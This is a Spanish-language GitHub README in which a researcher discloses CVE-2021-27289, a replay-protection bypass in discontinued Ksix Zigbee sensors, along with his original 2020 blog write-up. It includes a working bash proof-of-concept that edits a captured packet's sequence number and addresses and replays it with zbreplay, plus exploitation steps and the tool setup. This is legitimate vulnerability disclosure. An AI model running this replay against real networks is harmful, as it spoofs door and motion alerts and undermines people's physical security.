themalwareguardian/cve-2021-27289CVE-2021-27289: Bypass de Protección de Reproducción en dispositivos Ksix Zigbee
Hola a todos,
Supongo que lo profesional era titular este repositorio exactamente como está – claro, descriptivo y directo. Pero mientras lo preparaba, se me ocurrieron algunos otros títulos, como:
En fin, aquí está la historia.
Mientras me preparaba para divulgar una nueva vulnerabilidad, recordé algo en lo que había trabajado hace años: un fallo que encontré durante mi proyecto final de carrera mientras investigaba protocolos IoT como Thread y Zigbee. En ese momento, envié un informe a MITRE pero nunca recibí respuesta, así que supuse que simplemente lo habían ignorado.
Por curiosidad, volví a iniciar sesión en la antigua cuenta de Gmail que usé para el envío... y para mi sorpresa, en 2023 - tres años después - vi que efectivamente se había asignado un CVE.
CVE-2021-27289, vinculado a la vulnerabilidad que reporté como estudiante.
¿Por qué tardó tanto? Cuando contacté por primera vez con el proveedor, dijeron que no tenían suficiente personal para solucionarlo y siguieron repitiendo esa excusa. Le dije a MITRE que nadie parecía estar haciendo nada al respecto, así que supongo que esperaron, probablemente porque el problema nunca iba a ser parcheado de todos modos.
El fallo afectaba a varios dispositivos IoT basados en Zigbee fabricados por Ksix. El problema central era que el mecanismo de protección de reproducción, definido en la especificación Zigbee y aplicado mediante el contador de trama, no estaba implementado correctamente.
Debido a que los dispositivos no verificaban correctamente el contador de trama, un atacante podía comunicarse con la red y suplantar paquetes simplemente aumentando el número de secuencia a un valor superior al último visto por el dispositivo. Esto hacía posible reproducir mensajes capturados y lograr que fueran aceptados como válidos, resultando efectivamente en una omisión de autenticación.
Este repositorio incluye todo en lo que trabajé durante mi proyecto final:
Los dispositivos IoT Zigbee de Ksix se ven afectados por una vulnerabilidad de ataque de reproducción causada por una implementación incorrecta de los mecanismos de protección de reproducción de Zigbee.
Las siguientes versiones fueron probadas y encontradas vulnerables. No probé versiones posteriores, por lo que también podrían estar afectadas.
Estos productos ya no están disponibles en el sitio web del proveedor ni en plataformas como Amazon, y parecen haber sido descatalogados.
La pila Zigbee en los dispositivos afectados no aplica correctamente el mecanismo de protección de reproducción, que se basa en el campo de contador de trama definido en la especificación Zigbee. Este campo está diseñado para garantizar que los mensajes recibidos sean nuevos y no hayan sido reproducidos.
Sin embargo, en esta implementación, el contador de trama se ignora o no se valida correctamente. Como resultado, un atacante puede capturar un paquete Zigbee legítimo, aumentar su número de secuencia a un valor más alto (p. ej., 250) y reproducirlo en la red.
Dado que los dispositivos solo verifican el número de secuencia, aceptan el mensaje como nuevo, lo que permite comunicación suplantada y acciones no autorizadas sin que se rompa ningún mecanismo de autenticación o cifrado.
Dependiendo del tipo de dispositivo y de cómo esté integrado en el entorno, esto puede provocar que aparezcan alertas falsas o estados de sensor falsos en la aplicación que el usuario usó originalmente para configurar la red (p. ej., movimiento detectado, puerta abierta), aunque no haya ocurrido nada realmente. En configuraciones más complejas, incluso podría desestabilizar flujos de trabajo de automatización o desencadenar acciones no deseadas basadas en datos falsificados.
Estos dispositivos se configuran típicamente usando aplicaciones como Tuya Smart o plataformas similares, que notifican a los usuarios en tiempo real cuando se activa un sensor - por ejemplo, cuando se abre una puerta o se detecta movimiento. Esto es lo que hace que los siguientes ataques sean particularmente efectivos, incluso si los eventos físicos nunca ocurren.
Aunque el impacto directo de esta vulnerabilidad de reproducción específica es limitado, una comprensión más profunda del protocolo - como la que exploré en mi proyecto final de carrera - revela escenarios de ataque más avanzados que podrían llevarse a cabo con recursos mínimos.
#!/bin/bash
function usage(){ echo -e "\nUsage: $0 [ZigbeeChannel] [SecuenceNumber] [HexDumpFile] [ShortSource] [ExtendedSource] [ShortDestination] [ShortPanId] [FCS]" echo -e "Example: $0 11 250 Open_Door_Alert_Hex_Dump 0x0001 11:ff:11:ff:11:ff:11:ff 0x0000 0x3333 0x0000 \n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function message(){ echo -e "\nProof of Concept" echo -e "There is an incorrect check of the "sequence number" field on Ksix Zigbee devices\n" echo -e "IMPORTANT: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".\n" }
function poc_playback(){ # Variables ZIGBEE_CHANNEL=$1 SECUENCE_NUMBER=$2 HEX_DUMP_FILE=$3 SHORT_SOURCE=$4 EXTENDED_SOURCE=$5 SHORT_DESTINATION=$6 SHORT_PAN_DESTINATION=$7 FRAME_CHECK_SECUENCE=$8 declare -a first_line_array declare -a second_line_array declare -a last_line_array # Change packet fields while IFS= read -r line do if [[ "$line" == "0000"* ]]; then IFS=' ' read -ra first_line_array <<< "$line" first_line_array[0]+=" " first_line_array[3]=$( printf "%x" $SECUENCE_NUMBER ) first_line_array[4]=${SHORT_PAN_DESTINATION:4:2} first_line_array[5]=${SHORT_PAN_DESTINATION:2:2} first_line_array[6]=${SHORT_DESTINATION:4:2}; first_line_array[11]=${SHORT_DESTINATION:4:2} first_line_array[7]=${SHORT_DESTINATION:2:2}; first_line_array[12]=${SHORT_DESTINATION:2:2} first_line_array[8]=${SHORT_SOURCE:4:2}; first_line_array[13]=${SHORT_SOURCE:4:2} first_line_array[9]=${SHORT_SOURCE:2:2}; first_line_array[14]=${SHORT_SOURCE:2:2} echo "${first_line_array[@]}" > Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0010"* ]]; then IFS=' ' read -ra second_line_array <<< "$line" second_line_array[0]+=" " second_line_array[7]=${EXTENDED_SOURCE:21:2}; second_line_array[8]=${EXTENDED_SOURCE:18:2} second_line_array[9]=${EXTENDED_SOURCE:15:2}; second_line_array[10]=${EXTENDED_SOURCE:12:2} second_line_array[11]=${EXTENDED_SOURCE:9:2}; second_line_array[12]=${EXTENDED_SOURCE:6:2} second_line_array[13]=${EXTENDED_SOURCE:3:2}; second_line_array[14]=${EXTENDED_SOURCE:0:2} echo "${second_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump elif [[ "$line" == "0030"* ]]; then IFS=' ' read -ra last_line_array <<< "$line" last_line_array[0]+=" " last_line_array[11]=${FRAME_CHECK_SECUENCE:4:2} last_line_array[12]=${FRAME_CHECK_SECUENCE:2:2} echo "${last_line_array[@]}" >> Check_Secuence_Number_Incorrectly_HEX_Dump else echo "$line" >> Check_Secuence_Number_Incorrectly_HEX_Dump fi done < $HEX_DUMP_FILE # Hex Dump file to pcap text2pcap Check_Secuence_Number_Incorrectly_HEX_Dump Check_Secuence_Number_Incorrectly.pcap # Playback zbreplay --channel $ZIGBEE_CHANNEL --pcapfile Check_Secuence_Number_Incorrectly.pcap && echo -e "\nPacket sent to the network. Poc Completed.\n" }
function main(){ if [ $# -lt 8 ]; then echo -e "\n\t Missing arguments" usage exit else message poc_playback $1 $2 $3 $4 $5 $6 $7 $8 fi }
main $1 $2 $3 $4 $5 $6 $7 $8
#NOTE: This is a script that I developed to understand how an IEEE 802.15.4 / Zigbee packet is formed, modify some fields of the packet in a simple way and see the effect when forwarding it to the network. If you want to exploit the vulnerability, follow the steps that I specify in the comments I make in the script. I exploited the vulnerability by spoofing a packet (sequence number 250) that contained the message "Door open".
<div id='vulnerability-demo-videos'/>
### ***🎥 Videos de demostración***
- [Video de YouTube - CVE-2021-27289: Ataque de reenvío en dispositivos Zigbee Ksix (Visión general + Demos antiguas)]() - Próximamente. Volveré a subir las demostraciones originales que grabé en 2020, esta vez con comentarios explicando la configuración del entorno, el proceso de ataque y más.
---
---
---
<div id='original-blog-post'/>
## ***📝 Publicación original del blog***
La publicación original del blog se publicó en 2020 en lo que entonces era mi sitio web personal principal (ah, la nostalgia 😅). En ese momento, compartí un artículo técnico para respaldar mi solicitud de CVE a MITRE, para enviar el exploit de prueba de concepto a Exploit-DB y para publicar los videos de demostración (que ahora he vuelto a subir a una cuenta diferente de YouTube).
Lo que encontrarás a continuación es una versión ligeramente reestructurada de esa publicación original.
<div id='original-blog-post-researcher'/>
### ***👤 Investigador***
Un Alejandro Vázquez Vázquez de 22 años, que apenas comenzaba a tomarse la ciberseguridad en serio, convirtiendo lentamente una pasión en una carrera.
<div id='original-blog-post-zigbee-basics'/>
### ***📡 Conceptos básicos de Zigbee***
Si no estás familiarizado con Zigbee, no espero que leas mi informe de tesis o la especificación completa de IEEE 802.15.4. En cambio, te recomiendo estos excelentes recursos para obtener una comprensión sólida del protocolo:
- [Kudelski Security Research - ZigBee Security: Basics (Part 1)](https://research.kudelskisecurity.com/2017/11/01/zigbee-security-basics-part-1/)
- [Kudelski Security Research - ZigBee Security: Basics (Part 2)](https://research.kudelskisecurity.com/2017/11/08/zigbee-security-basics-part-2/)
- [Kudelski Security Research - ZigBee Security: Basics (Part 3)](https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/)
- [Payatu - Zigbee Security 101 (Architecture and Security Issues)](https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/)
- [Hong Kong Computer Emergency Response Team Coordination Centre (HKCERT) - Device (ZigBee) Security Study](https://www.hkcert.org/f/guideline/264461/3a1c8eed-012c-4b59-9d9e-971001d66c77-DLFE-14602.pdf)
<div id='original-blog-post-background-and-motivation'/>
### ***💡 Antecedentes y motivación***
Para mi proyecto final de carrera, elegí un tema que era un poco poco convencional en mi universidad: en lugar de desarrollar una aplicación, me centré enteramente en investigar y analizar protocolos de comunicación. Elegí este camino porque me permitía explorar lo que en ese momento veía como un área crítica: la seguridad de los dispositivos IoT.
Mi trabajo se centró en los protocolos Zigbee y Thread, así como en su base: IEEE 802.15.4. Una vez que revisé suficiente documentación técnica e investigación académica, pasé a realizar pruebas prácticas con dispositivos reales, con el objetivo de replicar y analizar vulnerabilidades conocidas en el campo.
<div id='original-blog-post-early-experiments'/>
### ***🔍 Experimentos iniciales***
Mis pruebas comenzaron con un sensor de movimiento Zigbee. Quería ver cómo respondería el dispositivo a un mensaje de control falsificado, específicamente, una trama de realineación de red, que normalmente se usa para restablecer los parámetros de configuración de Zigbee. Inyecté una en la red para simular una reconfiguración, y funcionó. El sensor todavía aparecía como "conectado" en la aplicación móvil (la que había usado para configurar la red), pero en realidad había perdido la comunicación con el coordinador y tuvo que ser reiniciado manualmente. Eso me indicó que el dispositivo aceptaba ciertos paquetes sin una validación sólida.
Animado por este resultado, pasé a los ataques de repetición. Usando un sniffer, capturé mensajes Zigbee estándar de un sensor de puerta (como "puerta abierta" y "puerta cerrada"). Después de restablecer la red Zigbee, reproduje esos paquetes sin modificar ningún campo. Para mi sorpresa, la aplicación móvil activó alertas en tiempo real, como si la puerta se acabara de abrir o cerrar, a pesar de que solo estaba reproduciendo mensajes capturados previamente.
Esto confirmó que los mecanismos de protección diseñados para prevenir ataques de repetición no estaban implementados o no funcionaban correctamente en estos dispositivos.
<div id='original-blog-post-discovery'/>
### ***💥 Descubrimiento***
En este punto, quería entender mejor por qué funcionaba la reproducción de paquetes antiguos. Zigbee define dos campos clave para evitar este tipo de ataque: el contador de trama, que aumenta con cada mensaje enviado, y el número de secuencia, que ayuda a detectar duplicados.
Así que comencé a experimentar con ambos.
Primero, capturé unos 50 paquetes válidos y los reproduje en la red. Recibí varias alertas, como antes. Luego modifiqué el contador de trama, estableciéndolo en un valor mucho más alto en cada paquete, y lo intenté de nuevo. Esta vez, no pasó nada: no hubo alertas. Eso me hizo sospechar que se estaba realizando algún tipo de verificación, pero de manera inconsistente.
Para profundizar, restablecí la red Zigbee nuevamente, y en lugar de modificar el contador de trama, me centré en el número de secuencia. Reproduje los mismos mensajes capturados pero aumenté gradualmente el número de secuencia con cada paquete, simulando lo que haría un dispositivo normal.
Funcionó.
Las alertas comenzaron a aparecer nuevamente en la aplicación móvil. Fue entonces cuando me di cuenta de que los dispositivos probablemente dependían solo del número de secuencia para determinar si un paquete era nuevo, ignorando completamente el contador de trama, que es el campo diseñado explícitamente para evitar ataques de repetición.
Este fallo significaba que mientras siguiera enviando paquetes con números de secuencia más nuevos, podía seguir inyectando mensajes falsos en la red, y los dispositivos los aceptarían como legítimos.
Así que, debido a una mala implementación, o quizás a capacidades de procesamiento limitadas en el coordinador (puerta de enlace Zigbee), podía, simplemente estando dentro del alcance inalámbrico de la red, reproducir mensajes previamente capturados como "puerta abierta" o "puerta cerrada". Estos eventos falsificados aparecerían entonces en la aplicación móvil exactamente como si hubieran ocurrido en la vida real.
<div id='original-blog-post-exploitation'/>
### ***🧨 Explotación***
Explotar la vulnerabilidad es trivial:
Capturas una trama Zigbee válida, cambias el número de secuencia a un valor más alto y la reproduces. El dispositivo receptor acepta el mensaje, y el usuario recibe una alerta en tiempo real en su aplicación, creyendo que hubo actividad real.
En algunas pruebas, incluso pude interrumpir la comunicación del dispositivo, haciendo que los sensores aparecieran "en línea" en la aplicación pero se volvieran no responsivos, lo que podría ser peligroso en escenarios de seguridad física.
<div id='original-blog-post-lab-setup'/>
### ***🔬 Configuración de laboratorio***
Las pruebas se realizaron en 2020 utilizando un pequeño laboratorio de dispositivos IoT basados en Zigbee fabricados por Ksix. Se confirmó que los siguientes modelos y versiones de firmware eran vulnerables en ese momento:
- Módulo de puerta de enlace Zigbee – v1.0.3
- Módulo principal de la puerta de enlace – v1.1.2
- Sensor de puerta – v1.0.7
- Sensor de movimiento PIR – v1.0.12
Para realizar los ataques y capturar el tráfico Zigbee, utilicé:
- APImote, un sniffer de hardware USB para redes IEEE 802.15.4
- KillerBee Framework, utilizado para capturar, inyectar y analizar paquetes
Esta configuración me permitió simular interacciones del mundo real, analizar flujos de tráfico y probar tanto escenarios de denegación de servicio como de ataque de repetición en un entorno controlado.
<div id='original-blog-post-related-research'/>
### ***📚 Investigación relacionada***
A partir de aquí, agradezco a todos los investigadores que facilitaron mi camino y de cuyas publicaciones aprendí los vectores de ataque y vulnerabilidades más comunes de este tipo de redes IoT:
- [Fan, X., Susan, F., Long, W., & Li, S. (2017). Security Analysis of Zigbee.](https://www.semanticscholar.org/paper/Security-Analysis-of-Zigbee-Fan-Susan/3d1d5a51d05cde08b6e52afd5bd7bc325b487a10?p2df)
- [Zillner, T. (2016). ZigBee Exploited: The good, the bad and the ugly.Magdeburger Journal zur Sicher-heitsforschung,12, 699–704.](https://www.blackhat.com/docs/us-15/materials/us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf)
- [Sokullu, R., Korkmaz, I., Dagdeviren, O., Mitseva, A., & Prasad, N. R. (2007). An Investigation on IEEE 802.15.4 MAC Layer Attacks. In Proceedings of The 10th International Symposium on Wireless Personal Multimedia Communications (WPMC) 2007 (pp. 1019-1023).](https://www.researchgate.net/publication/4373276_On_the_IEEE_802154_MAC_layer_attacks_GTS_attack)
- [R. Sokullu, O. Dagdeviren and I. Korkmaz, "On the IEEE 802.15.4 MAC Layer Attacks: GTS Attack," 2008 Second International Conference on Sensor Technologies and Applications (sensorcomm 2008), Cap Esterel, 2008, pp. 673-678, DOI: 10.1109/SENSORCOMM.2008.75.](https://ieeexplore.ieee.org/document/4622738)
- [M. S. Wara and Q. Yu, "New Replay Attacks on ZigBee Devices for Internet-of-Things (IoT) Applications," 2020 IEEE International Conference on Embedded Software and Systems (ICESS), Shanghai, China, 2020, pp. 1-6, DOI: 10.1109/ICESS49830.2020.9301593.](https://ieeexplore.ieee.org/document/9301593)
- [Olawumi, Olayemi & Haataja, Keijo & Asikainen, M. & Vidgren, Niko & Toivanen, Pekka. (2014). Three Practical Attacks Against ZigBee Security: Attack Scenario Definitions, Practical Experiments, Countermeasures, and Lessons Learned.. 2014 14th International Conference on Hybrid Intelligent Systems, HIS 2014. DOI: 10.1109/HIS.2014.7086198.](https://www.researchgate.net/publication/276272068_Three_Practical_Attacks_Against_ZigBee_Security_Attack_Scenario_Definitions_Practical_Experiments_Countermeasures_and_Lessons_Learned)